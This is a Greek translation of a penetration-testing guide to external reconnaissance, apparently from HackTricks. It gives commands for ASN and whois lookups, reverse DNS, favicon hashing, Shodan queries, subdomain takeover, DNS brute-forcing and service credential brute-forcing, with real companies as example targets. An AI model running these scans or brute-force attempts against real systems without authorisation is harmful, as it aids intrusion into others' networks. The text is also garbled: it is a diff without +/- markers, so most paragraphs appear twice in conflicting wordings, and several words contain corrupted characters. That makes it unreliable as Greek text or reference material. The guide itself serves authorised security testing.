> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς μπορούμε να βρούμε τις περιουσίες τους.
> Εντάξει, σε αυτό το σημείο πρέπει να γνωρίζετε όλες τις εταιρείες εντός του πεδίου εφαρμογής. Ας δούμε πώς μπορούμε να βρούμε τα περιουσιακά τους στοιχεία.
### **ASNs**
Ένα αυτόνομο αριθμό συστήματος (**ASN**) είναι ένας **μοναδικός αριθμός** που ανατίθεται σε ένα **αυτόνομο σύστημα** (AS) από την **Αρχή Ανατεθειμένων Αριθμών Διαδικτύου (IANA)**.\
Ένα **AS** αποτελείται από **μπλοκ** διευθύνσεων **IP** που έχουν ορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικείται από μια μόνο οργάνωση αλλά μπορεί να αποτελείται από πολλούς φορείς.
Ένα **AS** αποτελείται από **μπλοκ** διευθύνσεων **IP** που έχουν οριστεί με σαφώς καθορισμένη πολιτική για την πρόσβαση σε εξωτερικά δίκτυα και διοικείται από μία μόνο οργάνωση αλλά μπορεί να αποτελείται από πολλούς χειριστές.
Είναι ενδιαφέρον να βρούμε αν η **εταιρεία έχει ανατεθεί κάποιο ASN** για να βρούμε τα **εύρη IP** της. Θα ήταν ενδιαφέρον να πραγματοποιήσουμε ένα **τεστ ευπαθειών** εναντίον όλων των **οικοδεσποζόμενων** μέσα στο **πεδίο εφαρμογής** και να αναζητήσουμε **domains** μέσα σε αυτές τις IP.\
Μπορείτε να **αναζητήσετε** με το όνομα της εταιρείας, με την **IP** ή με το **domain** στο [**https://bgp.he.net/**](https://bgp.he.net)**.**\
@ -52,7 +52,7 @@
amass intel -org tesla
amass intel -asn 8911,50313,394161
```
Επιπλέον, η υπο-ενότητα απαρίθμησης του [**BBOT**](https://github.com/blacklanternsecurity/bbot) συγκεντρώνει αυτόματα και περιλαμβάνει συνοπτικά τους ASNs στο τέλος της σάρωσης.
Επιπλέον, η υπο-ενότητα αναγνώρισης υποτομέων του [**BBOT**](https://github.com/blacklanternsecurity/bbot) συγκεντρώνει αυτόματα και περιλαμβάνει συνοπτικά τους ASNs στο τέλος της σάρωσης.
```bash
bbot -t tesla.com -f subdomain-enum
...
@ -74,13 +74,13 @@ bbot -t tesla.com -f subdomain-enum
### **Αναζήτηση ευπαθειών**
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του εύρους**, οπότε αν σας επιτρέπεται μπορείτε να εκκινήσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκκινήσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να ϭρείτε σε αυτό το βιβλίο πώς να δοκιμάσετε τις υπηρεσίες που εκτελούνται.\
**Επίσης, μπορεί να αξίζει να αναφέρουμε ότι μπορείτε επίσης να ετοιμάσετε κάποιες** λίστες προεπιλεγμένων ονομάτων χρήστη **και** κωδικών πρόσβασης **και να προσπαθήσετε να** κάνετε brute force σε υπηρεσίες με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
Σε αυτό το σημείο γνωρίζουμε **όλα τα περιουσιακά στοιχεία εντός του πεδίου εφαρμογής**, οπότε αν σας επιτρέπεται μπορείτε να εκτελέσετε κάποιο **σαρωτή ευπαθειών** (Nessus, OpenVAS) σε όλους τους hosts.\
Επίσης, μπορείτε να εκτελέσετε κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) **ή να χρησιμοποιήσετε υπηρεσίες όπως** shodan **για να βρείτε** ανοιχτές θύρες **και ανάλογα με αυτό που βρείτε θα πρέπει** να ϭρείτε σε αυτό το βιβλίο πώς να εκτελέσετε ελέγχους ασφαλείας σε πιθανές υπηρεσίες που εκτελούνται.\
**Επίσης, μπορεί να αξίζει να αναφέρουμε ότι μπορείτε επίσης να ετοιμάσετε κάποιες** λίστες προεπιλεγμένων ονομάτων χρήστη **και** κωδικών πρόσβασης **και να προσπαθήσετε να** εκτελέσετε επίθεση με brute force σε υπηρεσίες με το [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Domains
> Γνωρίζουμε όλες τις εταιρείες εντός του εύρους και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τα domains εντός του εύρους.
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής και τα περιουσιακά τους στοιχεία, είναι ώρα να βρούμε τα domains εντός του πεδίου εφαρμογής.
αρακαλώ, σημειώστε ότι στις παρακάτω προτεινόμενες τεχνικές μπορείτε επίσης να βρείτε υποτομές και αυτές οι πληροφορίες δεν πρέπει να υποτιμηθούν._
@ -88,19 +88,16 @@ _Παρακαλώ, σημειώστε ότι στις παρακάτω προτ
### **Αντίστροφη αναζήτηση DNS**
Αφού έχετε βρει όλες τις εύρεσης IP των domains μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτά τα **IPs για να βρείτε περισσότερα domains εντός του εύρους**. Δοκιμάστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8)
Αφού έχετε βρει όλες τις εύρεσης IP των domains, μπορείτε να προσπαθήσετε να εκτελέσετε **αντίστροφες αναζητήσεις DNS** σε αυτά τα **IPs για να βρείτε περισσότερα domains εντός του πεδίου εφαρμογής**. Δοκιμάστε να χρησιμοποιήσετε κάποιον dns server του θύματος ή κάποιον γνωστό dns server (1.1.1.1, 8.8.8.8)
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns
dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
```
Για να λειτουργήσει αυτό, ο διαχειριστής πρέπει να ενεργοποιήσει χειροκίνητα το PTR.\
Μπορείτε επίσης να χρησιμοποιήσετε ένα online εργαλείο για αυτές τις πληροφορίες: [http://ptrarchive.com/](http://ptrarchive.com)
### **Αντίστροφη Αναζήτηση Whois (loop)**
### **Αντίστροφο Whois (loop)**
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα της οργάνωσης**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά αυτό που είναι ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με οποιοδήποτε από αυτά τα πεδία** (για παράδειγμα άλλα καταχωρημένα whois όπου εμφανίζεται το ίδιο email).\
Μέσα σε ένα **whois** μπορείτε να βρείτε πολλές ενδιαφέρουσες **πληροφορίες** όπως το **όνομα της οργάνωσης**, **διεύθυνση**, **emails**, αριθμούς τηλεφώνου... Αλλά ακόμα πιο ενδιαφέρον είναι ότι μπορείτε να βρείτε **περισσότερα περιουσιακά στοιχεία που σχετίζονται με την εταιρεία** αν εκτελέσετε **αντίστροφες αναζητήσεις whois με βάση αυτά τα πεδία** (για παράδειγμα άλλα καταχωρημένα whois όπου εμφανίζεται το ίδιο email).\
Μπορείτε να χρησιμοποιήσετε online εργαλεία όπως:
* [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Δωρεάν**
@ -112,16 +109,16 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
* [https://www.domainiq.com/](https://www.domainiq.com) - Όχι Δωρεάν
Μπορείτε να αυτοματοποιήσετε αυτήν την εργασία χρησιμοποιώντας το [**DomLink** ](https://github.com/vysecurity/DomLink)(απαιτεί ένα κλειδί API του whoxy).\
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες ανακαλύψεις αντίστροφου whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
Μπορείτε επίσης να εκτελέσετε ορισμένες αυτόματες αναστροφές αναζητήσεις whois με το [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα domain κάθε φορά που βρίσκετε ένα νέο domain.**
### **Trackers**
Αν βρείτε το **ίδιο ID του ίδιου tracker** σε 2 διαφορετικές σελίδες, μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Για παράδειγμα, αν δείτε το **ίδιο Google Analytics ID** ή το **ίδιο Adsense ID** σε αρκετές σελίδες.
Αν βρείτε τον **ίδιο αριθμό ταυτοποίησης του ίδιου tracker** σε 2 διαφορετικές σελίδες, μπορείτε να υποθέσετε ότι **και οι δύο σελίδες** διαχειρίζονται από την **ίδια ομάδα**.\
Για παράδειγμα, αν δείτε τον ίδιο **ID Google Analytics** ή τον ίδιο **ID Adsense** σε αρκετές σελίδες.
Υπάρχουν μερικές σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με αυτούς τους trackers και περισσότερα:
Υπάρχουν μερικές σελίδες και εργαλεία που σας επιτρέπουν να αναζητήσετε με βάση αυτούς τους trackers και περισσότερα:
* [**Udon**](https://github.com/dhn/udon)
* [**BuiltWith**](https://builtwith.com)
@ -131,14 +128,14 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **Favicon**
Ξέρατε ότι μπορούμε να βρούμε σχετικά domains και sub domains στον στόχο μας αναζητώντας το ίδιο hash εικονίδιο favicon; Αυτό ακριβώς κάνει το [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) εργαλείο που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Εδώ είναι πώς να το χρησιμοποιήσετε:
Ξέρατε ότι μπορούμε να βρούμε σχετικά domains και sub domains με τον στόχο μας αναζητώντας τον ίδιο κωδικό hash του εικονιδίου favicon; Αυτό ακριβώς κάνει το εργαλείο [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) που δημιούργησε ο [@m4ll0k2](https://twitter.com/m4ll0k2). Εδώ είναι πώς να το χρησιμοποιήσετε:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
```
![favihash - ανακαλύψτε domains με τον ίδιο κωδικό hash του εικονιδίου favicon](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg)
Απλά ειπών, το favihash θα μας επιτρέψει να ανακαλύψουμε domains που έχουν τον ίδιο κωδικό hash με το εικονίδιο favicon όπως το στόχο μας.
Απλά ειπών, το favihash θα μας επιτρέψει να ανακαλύψουμε domains που έχουν τον ίδιο κωδικό hash του εικονιδίου favicon όπως το στόχο μας.
Επιπλέον, μπορείτε επίσης να αναζητήσετε τεχνολογίες χρησιμοποιώντας τον κωδικό hash του favicon όπως εξηγείται στο [**αυτό το blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Αυτό σημαίνει ότι αν γνωρίζετε τον **hash του favicon μιας ευάλωτης έκδοσης μιας τεχνολογίας ιστού** μπορείτε να αναζητήσετε αν υπάρχει στο shodan και **να βρείτε περισσότερα ευάλωτα σημεία**:
```bash
@ -159,52 +156,52 @@ return fhash
```
### **Πνευματική Ιδιοκτησία / Μοναδική συμβολοσειρά**
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να κοινοποιούνται σε διαφορετικές ιστοσελίδες στον ίδιο οργανισμό**. Η **συμβολοσειρά πνευματικής ιδιοκτησίας** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια αναζητήστε αυτήν τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμη και στο **shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικής ιδιοκτησίας"`
Αναζητήστε μέσα στις ιστοσελίδες **συμβολοσειρές που θα μπορούσαν να κοινοποιούνται σε διαφορετικές ιστοσελίδες στον ίδιο οργανισμό**. Η **συμβολοσειρά πνευματικής ιδιοκτησίας** θα μπορούσε να είναι ένα καλό παράδειγμα. Στη συνέχεια αναζητήστε αυτήν τη συμβολοσειρά στο **Google**, σε άλλους **περιηγητές** ή ακόμη και στο **Shodan**: `shodan search http.html:"Συμβολοσειρά πνευματικής ιδιοκτησίας"`
### **Χρόνος CRT**
Είναι συνηθισμένο να υπάρχει ένας προγραμματισμένος χρόνος όπως
Είναι συνηθισμένο να υπάρχει ένας καθημερινός εργασίας cron όπως
```bash
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
### **Παθητική Κατάληψη**
### **Παθητική Παραλαβή**
Φαίνεται ότι είναι συνηθισμένο για ανθρώπους να αναθέτουν υποτομές σε διευθύνσεις IP που ανήκουν σε παρόχους cloud και σε κάποιο σημείο **χάνουν αυτήν την διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν το DNS record**. Έτσι, απλά **εκκινώντας ένα VM** σε ένα cloud (όπως το Digital Ocean) θα **αναλάβετε πραγματικά κάποιες υποτομές**.
Φαίνεται ότι είναι συνηθισμένο για ανθρώπους να αναθέτουν υποτομές σε IPs που ανήκουν σε παρόχους νέφους και σε κάποιο σημείο **χάνουν αυτήν τη διεύθυνση IP αλλά ξεχνούν να αφαιρέσουν το DNS record**. Έτσι, απλά **εκκινώντας ένα VM** σε ένα νέφος (όπως το Digital Ocean) θα **αναλάβετε πραγματικά κάποιες υποτομές**.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα script που **εκκινά ένα VM στο DigitalOcean**, **λαμβάνει** το **IPv4** της νέας μηχανής, και **ψάχνει στο Virustotal για εγγραφές υποτομών** που το δείχνουν.
[**Αυτή η ανάρτηση**](https://kmsec.uk/blog/passive-takeover/) εξηγεί μια ιστορία γι' αυτό και προτείνει ένα σενάριο που **εκκινεί ένα VM στο DigitalOcean**, **λαμβάνει** το **IPv4** της νέας μηχανής, και **ψάχνει στο Virustotal για εγγραφές υποτομών** που το δείχνουν.
### **Άλλοι τρόποι**
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα domain κάθε φορά που βρίσκετε ένα νέο domain.**
**Σημειώστε ότι μπορείτε να χρησιμοποιήσετε αυτήν την τεχνική για να ανακαλύψετε περισσότερα ονόματα τομέα κάθε φορά που βρίσκετε ένα νέο τομέα.**
**Shodan**
Καθώς γνωρίζετε ήδη το όνομα του οργανισμού που κατέχει το χώρο IP. Μπορείτε να αναζητήσετε με βάση αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους εντοπισμένους hosts για νέα αναπάντητα domains στο πιστοποιητικό TLS.
Καθώς γνωρίζετε ήδη το όνομα του οργανισμού που κατέχει το χώρο IP. Μπορείτε να αναζητήσετε με βάση αυτά τα δεδομένα στο shodan χρησιμοποιώντας: `org:"Tesla, Inc."` Ελέγξτε τους εντοπισμένους οικοδεσπότες για νέους αναπάντητους τομείς στο πιστοποιητικό TLS.
Θα μπορούσατε να έχετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζει το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
Θα μπορούσατε να έχετε πρόσβαση στο **πιστοποιητικό TLS** της κύριας ιστοσελίδας, να λάβετε το **όνομα του οργανισμού** και στη συνέχεια να αναζητήσετε αυτό το όνομα μέσα στα **πιστοποιητικά TLS** όλων των ιστοσελίδων που γνωρίζετε από το **shodan** με το φίλτρο: `ssl:"Tesla Motors"` ή να χρησιμοποιήσετε ένα εργαλείο όπως το [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
**Assetfinder**
Το [**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **σχετικά domains** με ένα κύριο domain και τις **υποτομές** τους, πολύ εντυπωσιακό.
Το [**Assetfinder**](https://github.com/tomnomnom/assetfinder) είναι ένα εργαλείο που αναζητά **σχετικούς τομείς** με έναν κύριο τομέα και τις **υποτομές** τους, πολύ εντυπωσιακό.
### **Αναζήτηση ευπαθειών**
Ελέγξτε για κάποια [κατάληψη domain](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **να χρησιμοποιεί ένα domain** αλλά **να έχει χάσει την ιδιοκτησία**. Απλά καταχωρίστε το (αν είναι αρκετά φθηνό) και ενημερώστε την εταιρεία.
Ελέγξτε για κάποια [ανάληψη τομέα](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Ίσως κάποια εταιρεία **να χρησιμοποιεί έναν τομέα** αλλά **να έχει χάσει την ιδιοκτησία**. Απλά τον καταχωρείτε (αν είναι αρκετά φθηνό) και ενημερώνετε την εταιρεία.
Αν βρείτε οποιοδήποτε **domain με διαφορετική IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να πραγματοποιήσετε ένα **βασικό σάρωσμα ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και κάποιο [**σάρωσμα θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές το domain φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, προσέξτε._
Αν βρείτε οποιονδήποτε **τομέα με διαφορετική IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, θα πρέπει να πραγματοποιήσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και μια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές ο τομέας φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν εμπίπτει στο πεδίο εφαρμογής, προσέξτε._
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Συμβουλή bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Εγγραφείτε στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα, και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
**Συμβουλή για bug bounty**: **Εγγραφείτε** στο **Intigriti**, μια προηγμένη **πλατφόρμα bug bounty δημιουργημένη από χάκερς, για χάκερς**! Εγγραφείτε στο [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) σήμερα και αρχίστε να κερδίζετε αμοιβές έως και **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
## Υποτομές
## Υποτομείς
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλα τα σχετικά με τις εταιρείες domains.
> Γνωρίζουμε όλες τις εταιρείες εντός του πεδίου εφαρμογής, όλα τα περιουσιακά στοιχεία κάθε εταιρείας και όλους τους σχετικούς τομείς με τις εταιρείες.
Ήρθε η ώρα να βρούμε όλες τις πιθανές υποτομές κάθε εντοπισμένου domain.
Ήρθε η ώρα να βρούμε όλες τις πιθανές υποτομές κάθε εντοπισμένου τομέα.
### **DNS**
@ -325,18 +322,18 @@ python3 censys-subdomain-finder.py tesla.com
```bash
python3 DomainTrail.py -d example.com
```
* [**securitytrails.com**](https://securitytrails.com/) έχει ένα δωρεάν API για αναζήτηση υποτομέων και ιστορικό IP
* [**securitytrails.com**](https://securitytrails.com/) έχει μια δωρεάν API για αναζήτηση subdomains και ιστορικό IP
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
Αυτό το έργο προσφέρει **δωρεάν όλα τα υποτομέα που σχετίζονται με προγράμματα ανταμοιβής ευρημάτων σφαλμάτων**. Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμη να έχετε πρόσβαση στο εύρος που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Αυτό το έργο προσφέρει **δωρεάν όλα τα subdomains που σχετίζονται με προγράμματα ανταμοιβής ευρημάτων σφαλμάτων**. Μπορείτε να έχετε πρόσβαση σε αυτά τα δεδομένα χρησιμοποιώντας επίσης το [chaospy](https://github.com/dr-0x0x/chaospy) ή ακόμη να έχετε πρόσβαση στο εύρος που χρησιμοποιείται από αυτό το έργο [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list)
Μπορείτε να βρείτε μια **σύγκριση** πολλών από αυτά τα εργαλεία εδώ: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
### **Βίαιη δύναμη DNS**
### **Δύναμη DNS Brute**
Ας προσπαθήσουμε να βρούμε νέους **υποτομείς** με βίαιη δύναμη σε διακομιστές DNS χρησιμοποιώντας πιθανά ονόματα υποτομέων.
Ας προσπαθήσουμε να βρούμε νέα **subdomains** με brute-force DNS servers χρησιμοποιώντας πιθανά ονόματα subdomain.
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων υποτομέων όπως**:
Για αυτή την ενέργεια θα χρειαστείτε μερικές **κοινές λίστες λέξεων subdomains όπως**:
* [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056)
* [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt)
@ -344,11 +341,11 @@ python3 DomainTrail.py -d example.com
* [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak)
* [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS)
Και επίσης IPs καλών αναλυτών DNS. Για να δημιουργήσετε μια λίστα αξιόπιστων αναλυτών DNS μπορείτε να κατεβάσετε τους αναλυτές από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε το [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Και επίσης IPs καλών DNS resolvers. Για να δημιουργήσετε μια λίστα αξιόπιστων DNS resolvers μπορείτε να κατεβάσετε τους resolvers από [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) και να χρησιμοποιήσετε το [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) για να τους φιλτράρετε. Ή μπορείτε να χρησιμοποιήσετε: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
Τα πιο συνιστώμενα εργαλεία για βίαιη δύναμη DNS είναι:
Τα πιο συνιστώμενα εργαλεία για τη δύναμη DNS brute-force είναι:
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική βίαιη δύναμη DNS. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε Ϩενεργάτικα θετικά.
* [**massdns**](https://github.com/blechschmidt/massdns): Αυτό ήταν το πρώτο εργαλείο που πραγματοποίησε μια αποτελεσματική δύναμη DNS brute-force. Είναι πολύ γρήγορο, αλλά είναι επιρρεπές σε Ϩενεργά.
```bash
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
@ -358,7 +355,7 @@ grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα περιτύλιγμα γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταλογογραφήσετε έγκυρους υποτομείς χρησιμοποιώντας ενεργή βία, καθώς και να επιλύσετε υποτομείς με χειρισμό μπαλαντέρ και εύκολη υποστήριξη εισόδου-εξόδου.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα περιτύλιγμα γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να απαριθμήσετε έγκυρους υποτομείς χρησιμοποιώντας ενεργή βία, καθώς και να επιλύσετε υποτομείς με χειρισμό μπαλαντέρ και εύκολη υποστήριξη εισόδου-εξόδου.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -366,13 +363,13 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να εκτελέσει βίαιη επίθεση στα ονόματα των τομέων ασύγχρονα.
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να εκτελέσει βίαια επίθεση στα ονόματα των domain ασύγχρονα.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Δεύτερος Γύρος Βίας DNS Brute-Force
Αφού βρείτε υποτομές χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε τροποποιήσεις των υποτομών που βρέθηκαν για να προσπαθήσετε να βρείτε ακόμα περισσότερες. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
Αφού βρείτε υποτομές χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε τροποποιήσεις των υποτομών που βρέθηκαν για να προσπαθήσετε να βρείτε ακόμη περισσότερες. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δεδομένων των τομέων και των υποτομών, δημιουργεί παραλλαγές.
```bash
@ -383,24 +380,24 @@ cat subdomains.txt | dnsgen -
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Δεδομένων των domains και subdomains δημιουργεί παραλλαγές. Αν δεν υποδεικνύεται αρχείο παραλλαγών, το gotator θα χρησιμοποιήσει το δικό του.
* [**gotator**](https://github.com/Josue87/gotator)**:** Δεδομένων των domains και subdomains παράγει περιπτώσεις. Αν δεν υποδεικνύεται αρχείο περιπτώσεων, το gotator θα χρησιμοποιήσει το δικό του.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα σχολιασμένα εργαλεία).
* Μπορείτε να λάβετε τις παραλλαγές του altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τα επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα σχολιασμένα εργαλεία).
* Μπορείτε να λάβετε τον κατάλογο λέξεων για τις παραλλαγές του altdns **εδώ** (https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να πραγματοποιήσετε μεταθέσεις, μεταλλάξεις και τροποποιήσεις υποτομέων. Αυτό το εργαλείο θα εκτελέσει βίαιη επίθεση στο αποτέλεσμα (δεν υποστηρίζει τον καρτεσιανό για το dns).
* Μπορείτε να λάβετε τη λίστα λέξεων με μεταθέσεις του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να πραγματοποιεί περιστροφές, μεταλλάξεις και τροποποιήσεις υποτομέων. Αυτό το εργαλείο θα εκτελέσει βίαιη επίθεση στο αποτέλεσμα (δεν υποστηρίζει wild card dns).
